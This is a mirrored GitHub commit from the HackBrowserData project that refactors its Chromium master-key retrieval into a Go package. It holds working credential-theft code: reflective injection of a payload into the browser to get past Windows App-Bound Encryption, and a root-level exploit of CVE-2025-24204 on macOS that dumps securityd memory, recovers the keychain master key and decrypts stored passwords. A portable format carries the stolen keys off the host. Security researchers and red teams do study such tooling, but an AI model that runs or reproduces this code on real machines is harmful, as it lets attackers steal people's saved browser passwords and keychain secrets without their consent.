mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-06-04 19:48:01 +02:00
refactor: extract master-key code into masterkey package (#604)
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
//go:build windows
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/payload"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/injector"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/winutil"
|
||||
)
|
||||
|
||||
const envEncKeyB64 = "HBD_ABE_ENC_B64"
|
||||
|
||||
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
|
||||
|
||||
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
|
||||
|
||||
type ABERetriever struct{}
|
||||
|
||||
func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
// Non-ABE forks (Opera/Vivaldi/Yandex) supply no WindowsABEKey — treat as "not applicable".
|
||||
// (Pre-v20 Chrome takes the errNoABEKey path below.)
|
||||
browserKey := strings.TrimSpace(hints.WindowsABEKey)
|
||||
if browserKey == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
encKey, err := loadEncryptedKey(hints.LocalStatePath)
|
||||
if errors.Is(err, errNoABEKey) {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pl, err := payload.Get("amd64")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: %w", err)
|
||||
}
|
||||
|
||||
exePath, err := winutil.ExecutablePath(browserKey)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: %w", err)
|
||||
}
|
||||
|
||||
env := map[string]string{
|
||||
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
|
||||
}
|
||||
|
||||
inj := &injector.Reflective{}
|
||||
key, err := inj.Inject(exePath, pl, env)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
|
||||
}
|
||||
if len(key) != 32 {
|
||||
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
|
||||
}
|
||||
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func loadEncryptedKey(localStatePath string) ([]byte, error) {
|
||||
if localStatePath == "" {
|
||||
return nil, errNoABEKey
|
||||
}
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: read Local State: %w", err)
|
||||
}
|
||||
|
||||
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
|
||||
if !raw.Exists() {
|
||||
return nil, errNoABEKey
|
||||
}
|
||||
|
||||
decoded, err := base64.StdEncoding.DecodeString(raw.String())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: base64 decode: %w", err)
|
||||
}
|
||||
if len(decoded) <= len(appbPrefix) {
|
||||
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
|
||||
}
|
||||
for i, b := range appbPrefix {
|
||||
if decoded[i] != b {
|
||||
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
|
||||
decoded[:len(appbPrefix)], appbPrefix)
|
||||
}
|
||||
}
|
||||
return decoded[len(appbPrefix):], nil
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"time"
|
||||
)
|
||||
|
||||
const DumpVersion = "1"
|
||||
|
||||
// Dump is the portable, cross-host container for Chromium master keys — produce it on one host to
|
||||
// decrypt copied profile data on another without DPAPI / ABE / Keychain / D-Bus.
|
||||
type Dump struct {
|
||||
Version string `json:"version"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Host Host `json:"host"`
|
||||
Vaults []Vault `json:"vaults"`
|
||||
}
|
||||
|
||||
// Host OS / Arch always set; Hostname / User best-effort (empty on syscall failure).
|
||||
type Host struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
User string `json:"user,omitempty"`
|
||||
}
|
||||
|
||||
// Vault groups profiles sharing master keys (master keys are per-installation, not per-profile).
|
||||
type Vault struct {
|
||||
Browser string `json:"browser"`
|
||||
UserDataDir string `json:"user_data_dir"`
|
||||
Profiles []string `json:"profiles"`
|
||||
Keys MasterKeys `json:"keys"`
|
||||
}
|
||||
|
||||
func NewDump() Dump {
|
||||
return Dump{
|
||||
Version: DumpVersion,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
Host: currentHost(),
|
||||
Vaults: []Vault{},
|
||||
}
|
||||
}
|
||||
|
||||
func currentHost() Host {
|
||||
h := Host{OS: runtime.GOOS, Arch: runtime.GOARCH}
|
||||
if name, err := os.Hostname(); err == nil {
|
||||
h.Hostname = name
|
||||
}
|
||||
if u, err := user.Current(); err == nil {
|
||||
h.User = u.Username
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
func (d Dump) WriteJSON(w io.Writer) error {
|
||||
enc := json.NewEncoder(w)
|
||||
enc.SetIndent("", " ")
|
||||
if err := enc.Encode(d); err != nil {
|
||||
return fmt.Errorf("encode dump: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadJSON parses a Dump and rejects versions this build can't interpret — a silent misparse of a
|
||||
// future v2 schema is worse than a clear error.
|
||||
func ReadJSON(r io.Reader) (Dump, error) {
|
||||
var d Dump
|
||||
dec := json.NewDecoder(r)
|
||||
if err := dec.Decode(&d); err != nil {
|
||||
return Dump{}, fmt.Errorf("decode dump: %w", err)
|
||||
}
|
||||
if d.Version != DumpVersion {
|
||||
return Dump{}, fmt.Errorf("unsupported dump version %q (this build expects %q)", d.Version, DumpVersion)
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestReadJSON_RejectsUnknownVersion(t *testing.T) {
|
||||
input := bytes.NewBufferString(`{"version":"99","created_at":"2026-05-16T00:00:00Z","host":{"os":"linux","arch":"amd64"},"vaults":[]}`)
|
||||
_, err := ReadJSON(input)
|
||||
if err == nil {
|
||||
t.Fatal("ReadJSON should reject unknown version, got nil error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "unsupported dump version") {
|
||||
t.Errorf("error should mention unsupported version, got: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadJSON_RejectsMissingVersion(t *testing.T) {
|
||||
input := bytes.NewBufferString(`{"created_at":"2026-05-16T00:00:00Z","host":{"os":"linux","arch":"amd64"},"vaults":[]}`)
|
||||
_, err := ReadJSON(input)
|
||||
if err == nil {
|
||||
t.Fatal("ReadJSON should reject empty version, got nil error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadJSON_AcceptsCurrentVersion(t *testing.T) {
|
||||
d := NewDump()
|
||||
var buf bytes.Buffer
|
||||
if err := d.WriteJSON(&buf); err != nil {
|
||||
t.Fatalf("WriteJSON: %v", err)
|
||||
}
|
||||
parsed, err := ReadJSON(&buf)
|
||||
if err != nil {
|
||||
t.Fatalf("ReadJSON: %v", err)
|
||||
}
|
||||
if parsed.Version != DumpVersion {
|
||||
t.Errorf("Version = %q, want %q", parsed.Version, DumpVersion)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
//go:build darwin
|
||||
|
||||
package masterkey
|
||||
|
||||
// CVE-2025-24204: gcore holds the com.apple.system-task-ports.read entitlement, so a root process can
|
||||
// dump securityd memory without a TCC prompt; we scan the dump for the 24-byte keychain master key.
|
||||
// PoC: https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
|
||||
|
||||
import (
|
||||
"debug/macho"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
"github.com/moond4rk/keychainbreaker"
|
||||
)
|
||||
|
||||
var (
|
||||
homeDir, _ = os.UserHomeDir()
|
||||
loginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
|
||||
)
|
||||
|
||||
// findProcessByName returns the PID of the first process matching name.
|
||||
// If forceRoot is true, only matches processes owned by root (uid 0).
|
||||
func findProcessByName(name string, forceRoot bool) (int, error) {
|
||||
buf, err := unix.SysctlRaw("kern.proc.all")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
|
||||
}
|
||||
|
||||
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
|
||||
if len(buf)%kinfoSize != 0 {
|
||||
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
|
||||
}
|
||||
|
||||
count := len(buf) / kinfoSize
|
||||
for i := 0; i < count; i++ {
|
||||
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
|
||||
pname := byteSliceToString(proc.Proc.P_comm[:])
|
||||
if pname == name {
|
||||
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
|
||||
return int(proc.Proc.P_pid), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("securityd process not found")
|
||||
}
|
||||
|
||||
type addressRange struct {
|
||||
start uint64
|
||||
end uint64
|
||||
}
|
||||
|
||||
// DecryptKeychainRecords dumps securityd memory, scans for the keychain master key, and uses it to
|
||||
// read login.keychain-db's generic password records. Requires root.
|
||||
func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {
|
||||
if os.Geteuid() != 0 {
|
||||
return nil, errors.New("requires root privileges")
|
||||
}
|
||||
|
||||
pid, err := findProcessByName("securityd", true)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to find securityd pid: %w", err)
|
||||
}
|
||||
|
||||
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
|
||||
corePrefix := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
|
||||
corePath := fmt.Sprintf("%s.%d", corePrefix, pid)
|
||||
defer os.Remove(corePath)
|
||||
|
||||
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
|
||||
if err := cmd.Run(); err != nil {
|
||||
return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||
}
|
||||
|
||||
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
|
||||
regions, err := findMallocSmallRegions(pid)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||
}
|
||||
|
||||
candidates, err := scanMasterKeyCandidates(corePath, regions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("scan master key candidates: %w", err)
|
||||
}
|
||||
if len(candidates) == 0 {
|
||||
return nil, fmt.Errorf("no master key candidates found in securityd memory")
|
||||
}
|
||||
|
||||
// read keychain file once, reuse buffer for each candidate
|
||||
keychainBuf, err := os.ReadFile(loginKeychainPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read keychain: %w", err)
|
||||
}
|
||||
|
||||
// try each candidate key against the keychain
|
||||
for _, candidate := range candidates {
|
||||
kc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
records, err := kc.GenericPasswords()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(records) > 0 {
|
||||
return records, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("tried %d candidates, none unlocked keychain", len(candidates))
|
||||
}
|
||||
|
||||
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
|
||||
//
|
||||
// securityd stores the master key in a MALLOC_SMALL region with the layout:
|
||||
//
|
||||
// [0x18 (8 bytes)] [pointer to key data (8 bytes)]
|
||||
//
|
||||
// 0x18 = 24 is the key length. The pointer references a 24-byte buffer
|
||||
// within the same region containing the raw master key.
|
||||
func scanMasterKeyCandidates(corePath string, regions []addressRange) ([]string, error) {
|
||||
cmf, err := macho.Open(corePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to open core dump: %w", err)
|
||||
}
|
||||
defer cmf.Close()
|
||||
|
||||
var candidates []string
|
||||
seen := make(map[string]struct{})
|
||||
for _, region := range regions {
|
||||
data, vaddr, err := getMallocSmallRegionData(cmf, region)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for i := 0; i < len(data)-16; i += 8 {
|
||||
// look for the length marker (0x18 = 24 bytes)
|
||||
val := binary.LittleEndian.Uint64(data[i : i+8])
|
||||
if val != 0x18 {
|
||||
continue
|
||||
}
|
||||
// next 8 bytes should be a pointer within this region
|
||||
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
|
||||
if ptr < region.start || ptr > region.end {
|
||||
continue
|
||||
}
|
||||
// read 24 bytes at the pointer offset
|
||||
offset := ptr - vaddr
|
||||
if offset+0x18 > uint64(len(data)) {
|
||||
continue
|
||||
}
|
||||
masterKey := make([]byte, 0x18)
|
||||
copy(masterKey, data[offset:offset+0x18])
|
||||
keyStr := fmt.Sprintf("%x", masterKey)
|
||||
if _, found := seen[keyStr]; !found {
|
||||
candidates = append(candidates, keyStr)
|
||||
seen[keyStr] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
return candidates, nil
|
||||
}
|
||||
|
||||
// findMallocSmallRegions parses vmmap output to find MALLOC_SMALL heap regions.
|
||||
func findMallocSmallRegions(pid int) ([]addressRange, error) {
|
||||
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var regions []addressRange
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "MALLOC_SMALL") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
rangeParts := strings.Split(parts[1], "-")
|
||||
if len(rangeParts) != 2 {
|
||||
continue
|
||||
}
|
||||
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
regions = append(regions, addressRange{start: start, end: end})
|
||||
}
|
||||
}
|
||||
return regions, nil
|
||||
}
|
||||
|
||||
// getMallocSmallRegionData returns the Mach-O segment data + vaddr for the given address range.
|
||||
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
|
||||
for _, seg := range f.Loads {
|
||||
if s, ok := seg.(*macho.Segment); ok {
|
||||
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
|
||||
data := make([]byte, s.Filesz)
|
||||
_, err := s.ReadAt(data, 0)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
return data, s.Addr, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, 0, fmt.Errorf("region not found in core dump")
|
||||
}
|
||||
|
||||
func byteSliceToString(s []byte) string {
|
||||
for i, v := range s {
|
||||
if v == 0 {
|
||||
return string(s[:i])
|
||||
}
|
||||
}
|
||||
return string(s)
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// MasterKeys holds one key per cipher tier; a profile can mix tiers (Win v10+v20, Linux v10+v11),
|
||||
// so each is populated independently. A nil tier = that cipher version can't be decrypted.
|
||||
type MasterKeys struct {
|
||||
V10 []byte `json:"v10,omitempty"`
|
||||
V11 []byte `json:"v11,omitempty"`
|
||||
V20 []byte `json:"v20,omitempty"`
|
||||
}
|
||||
|
||||
func (k MasterKeys) HasAny() bool {
|
||||
return k.V10 != nil || k.V11 != nil || k.V20 != nil
|
||||
}
|
||||
|
||||
// Retrievers is the per-tier retriever configuration; unused slots are nil.
|
||||
type Retrievers struct {
|
||||
V10 Retriever
|
||||
V11 Retriever
|
||||
V20 Retriever
|
||||
}
|
||||
|
||||
// NewMasterKeys fetches each non-nil tier and joins per-tier errors. A retriever returning (nil, nil)
|
||||
// means "tier not applicable" and contributes no key. Never logs — the caller decides severity.
|
||||
func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) {
|
||||
var keys MasterKeys
|
||||
var errs []error
|
||||
|
||||
for _, t := range []struct {
|
||||
name string
|
||||
r Retriever
|
||||
dst *[]byte
|
||||
}{
|
||||
{"v10", r.V10, &keys.V10},
|
||||
{"v11", r.V11, &keys.V11},
|
||||
{"v20", r.V20, &keys.V20},
|
||||
} {
|
||||
if t.r == nil {
|
||||
continue
|
||||
}
|
||||
k, err := t.r.RetrieveKey(hints)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("%s: %w", t.name, err))
|
||||
continue
|
||||
}
|
||||
*t.dst = k
|
||||
}
|
||||
return keys, errors.Join(errs...)
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// recordingRetriever captures call count and arguments so tests can verify each tier's retriever
|
||||
// is invoked exactly once with the expected hints.
|
||||
type recordingRetriever struct {
|
||||
key []byte
|
||||
err error
|
||||
|
||||
calls int
|
||||
gotHints Hints
|
||||
}
|
||||
|
||||
func (r *recordingRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
r.calls++
|
||||
r.gotHints = hints
|
||||
return r.key, r.err
|
||||
}
|
||||
|
||||
func TestNewMasterKeys_Matrix(t *testing.T) {
|
||||
k10 := bytes.Repeat([]byte{0x10}, 32)
|
||||
k11 := bytes.Repeat([]byte{0x11}, 32)
|
||||
k20 := bytes.Repeat([]byte{0x20}, 32)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
v10 *recordingRetriever
|
||||
v11 *recordingRetriever
|
||||
v20 *recordingRetriever
|
||||
wantV10 []byte
|
||||
wantV11 []byte
|
||||
wantV20 []byte
|
||||
wantErrParts []string // substrings that must all appear in the joined error; nil = no error
|
||||
}{
|
||||
{
|
||||
name: "Windows happy path (V10+V20 ok, V11 not configured)",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
v20: &recordingRetriever{key: k20},
|
||||
wantV10: k10, wantV20: k20,
|
||||
},
|
||||
{
|
||||
name: "Linux happy path (V10+V11 ok, V20 not configured)",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
v11: &recordingRetriever{key: k11},
|
||||
wantV10: k10, wantV11: k11,
|
||||
},
|
||||
{
|
||||
name: "macOS happy path (V10 only)",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
wantV10: k10,
|
||||
},
|
||||
{
|
||||
name: "all three tiers succeed",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
v11: &recordingRetriever{key: k11},
|
||||
v20: &recordingRetriever{key: k20},
|
||||
wantV10: k10, wantV11: k11, wantV20: k20,
|
||||
},
|
||||
{
|
||||
name: "one tier errors, others succeed (degraded)",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
v20: &recordingRetriever{err: errors.New("inject failed")},
|
||||
wantV10: k10,
|
||||
wantErrParts: []string{"v20: inject failed"},
|
||||
},
|
||||
{
|
||||
name: "two tiers error, one succeeds",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
v11: &recordingRetriever{err: errors.New("dbus failed")},
|
||||
v20: &recordingRetriever{err: errors.New("inject failed")},
|
||||
wantV10: k10,
|
||||
wantErrParts: []string{"v11: dbus failed", "v20: inject failed"},
|
||||
},
|
||||
{
|
||||
name: "all three tiers error (total failure)",
|
||||
v10: &recordingRetriever{err: errors.New("dpapi failed")},
|
||||
v11: &recordingRetriever{err: errors.New("dbus failed")},
|
||||
v20: &recordingRetriever{err: errors.New("inject failed")},
|
||||
wantErrParts: []string{"v10: dpapi failed", "v11: dbus failed", "v20: inject failed"},
|
||||
},
|
||||
{
|
||||
name: "tier returns (nil, nil) — not applicable, silent",
|
||||
v10: &recordingRetriever{key: k10},
|
||||
v20: &recordingRetriever{}, // ABERetriever on non-ABE fork
|
||||
wantV10: k10,
|
||||
},
|
||||
{
|
||||
name: "all tiers (nil, nil) — no keys, no errors",
|
||||
v10: &recordingRetriever{},
|
||||
v11: &recordingRetriever{},
|
||||
v20: &recordingRetriever{},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
var r Retrievers
|
||||
if tt.v10 != nil {
|
||||
r.V10 = tt.v10
|
||||
}
|
||||
if tt.v11 != nil {
|
||||
r.V11 = tt.v11
|
||||
}
|
||||
if tt.v20 != nil {
|
||||
r.V20 = tt.v20
|
||||
}
|
||||
|
||||
keys, err := NewMasterKeys(r, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"})
|
||||
assert.Equal(t, tt.wantV10, keys.V10)
|
||||
assert.Equal(t, tt.wantV11, keys.V11)
|
||||
assert.Equal(t, tt.wantV20, keys.V20)
|
||||
|
||||
if len(tt.wantErrParts) == 0 {
|
||||
require.NoError(t, err)
|
||||
} else {
|
||||
require.Error(t, err)
|
||||
for _, part := range tt.wantErrParts {
|
||||
assert.Contains(t, err.Error(), part, "joined error should mention each failing tier")
|
||||
}
|
||||
}
|
||||
|
||||
// Every configured retriever must be called exactly once — this is the property
|
||||
// that prevents any regression where a tier is silently bypassed.
|
||||
for name, mock := range map[string]*recordingRetriever{"V10": tt.v10, "V11": tt.v11, "V20": tt.v20} {
|
||||
if mock == nil {
|
||||
continue
|
||||
}
|
||||
assert.Equal(t, 1, mock.calls, "%s retriever should be called exactly once", name)
|
||||
assert.Equal(t, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"}, mock.gotHints)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewMasterKeys_AllNilRetrievers(t *testing.T) {
|
||||
// All slots nil — macOS/Linux with no retriever wiring, or Windows with neither tier set up.
|
||||
keys, err := NewMasterKeys(Retrievers{}, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"})
|
||||
require.NoError(t, err)
|
||||
assert.Nil(t, keys.V10)
|
||||
assert.Nil(t, keys.V11)
|
||||
assert.Nil(t, keys.V20)
|
||||
}
|
||||
|
||||
func TestNewMasterKeys_PartialNil(t *testing.T) {
|
||||
// Only V10 wired — typical macOS shape. V11/V20 left nil.
|
||||
k10 := []byte("v10-key-bytes-for-testing")
|
||||
r := &recordingRetriever{key: k10}
|
||||
keys, err := NewMasterKeys(Retrievers{V10: r}, Hints{KeychainLabel: "Chrome"})
|
||||
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, k10, keys.V10)
|
||||
assert.Nil(t, keys.V11)
|
||||
assert.Nil(t, keys.V20)
|
||||
assert.Equal(t, 1, r.calls)
|
||||
assert.Equal(t, Hints{KeychainLabel: "Chrome"}, r.gotHints)
|
||||
}
|
||||
|
||||
func TestNewMasterKeys_ErrorWrapping(t *testing.T) {
|
||||
// errors.Is should traverse errors.Join to find the original error — useful for callers
|
||||
// that want to check for specific error types without string matching.
|
||||
sentinel := errors.New("sentinel")
|
||||
r := Retrievers{V20: &recordingRetriever{err: sentinel}}
|
||||
|
||||
_, err := NewMasterKeys(r, Hints{KeychainLabel: "chrome"})
|
||||
require.Error(t, err)
|
||||
assert.ErrorIs(t, err, sentinel, "errors.Is should find wrapped sentinel error")
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"hash"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
)
|
||||
|
||||
// pbkdf2Params holds platform-specific PBKDF2 parameters (each platform file defines its own).
|
||||
type pbkdf2Params struct {
|
||||
salt []byte
|
||||
iterations int
|
||||
keySize int
|
||||
hashFunc func() hash.Hash
|
||||
}
|
||||
|
||||
func (p pbkdf2Params) deriveKey(secret []byte) []byte {
|
||||
return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keySize, p.hashFunc)
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
// Package masterkey retrieves Chromium master keys (per-platform retrievers + a cross-host Dump format).
|
||||
// Firefox and Safari own their own key paths and don't route through here.
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
)
|
||||
|
||||
// errStorageNotFound: the browser's account is absent from the credential store (keychain/keyring).
|
||||
var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux
|
||||
|
||||
// Hints bundles inputs for Retriever; each retriever reads only the field that applies to it.
|
||||
type Hints struct {
|
||||
KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label
|
||||
WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable
|
||||
LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows
|
||||
}
|
||||
|
||||
// Retriever obtains a Chromium master key from one platform source (DPAPI, Keychain, D-Bus, …).
|
||||
type Retriever interface {
|
||||
RetrieveKey(hints Hints) ([]byte, error)
|
||||
}
|
||||
|
||||
// ChainRetriever tries retrievers in order, first success wins (macOS V10: gcoredump→password→security).
|
||||
type ChainRetriever struct {
|
||||
retrievers []Retriever
|
||||
}
|
||||
|
||||
func NewChain(retrievers ...Retriever) Retriever {
|
||||
return &ChainRetriever{retrievers: retrievers}
|
||||
}
|
||||
|
||||
func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
var errs []error
|
||||
for _, r := range c.retrievers {
|
||||
key, err := r.RetrieveKey(hints)
|
||||
if err == nil && len(key) > 0 {
|
||||
return key, nil
|
||||
}
|
||||
if err != nil {
|
||||
log.Debugf("retriever %T failed: %v", r, err)
|
||||
errs = append(errs, fmt.Errorf("%T: %w", r, err))
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...))
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
//go:build darwin
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha1"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/moond4rk/keychainbreaker"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
)
|
||||
|
||||
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||
var darwinParams = pbkdf2Params{
|
||||
salt: []byte("saltysalt"),
|
||||
iterations: 1003,
|
||||
keySize: 16,
|
||||
hashFunc: sha1.New,
|
||||
}
|
||||
|
||||
const securityCmdTimeout = 30 * time.Second
|
||||
|
||||
// GcoredumpRetriever extracts keychain secrets via CVE-2025-24204 (dumps securityd memory; needs root).
|
||||
// Records are cached once (sync.Once) so the dump runs a single time across all browsers.
|
||||
type GcoredumpRetriever struct {
|
||||
once sync.Once
|
||||
records []keychainbreaker.GenericPassword
|
||||
err error
|
||||
}
|
||||
|
||||
// RetrieveKey returns (nil, nil) on failure so ChainRetriever falls through silently — the common
|
||||
// "needs root" case isn't warning-worthy and would drown real warnings (same as ABERetriever).
|
||||
func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
r.once.Do(func() {
|
||||
r.records, r.err = DecryptKeychainRecords()
|
||||
})
|
||||
if r.err != nil {
|
||||
log.Debugf("gcoredump: %v", r.err)
|
||||
return nil, nil //nolint:nilerr // intentional silent fallthrough
|
||||
}
|
||||
|
||||
key, err := findStorageKey(r.records, hints.KeychainLabel)
|
||||
if err != nil {
|
||||
log.Debugf("gcoredump: %v", err)
|
||||
return nil, nil //nolint:nilerr // intentional silent fallthrough
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) {
|
||||
kc, err := keychainbreaker.Open()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open keychain: %w", err)
|
||||
}
|
||||
if err := kc.Unlock(keychainbreaker.WithPassword(password)); err != nil {
|
||||
return nil, fmt.Errorf("unlock keychain: %w", err)
|
||||
}
|
||||
return kc.GenericPasswords()
|
||||
}
|
||||
|
||||
func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) {
|
||||
for _, rec := range records {
|
||||
if rec.Account == storage {
|
||||
return darwinParams.deriveKey(rec.Password), nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
|
||||
}
|
||||
|
||||
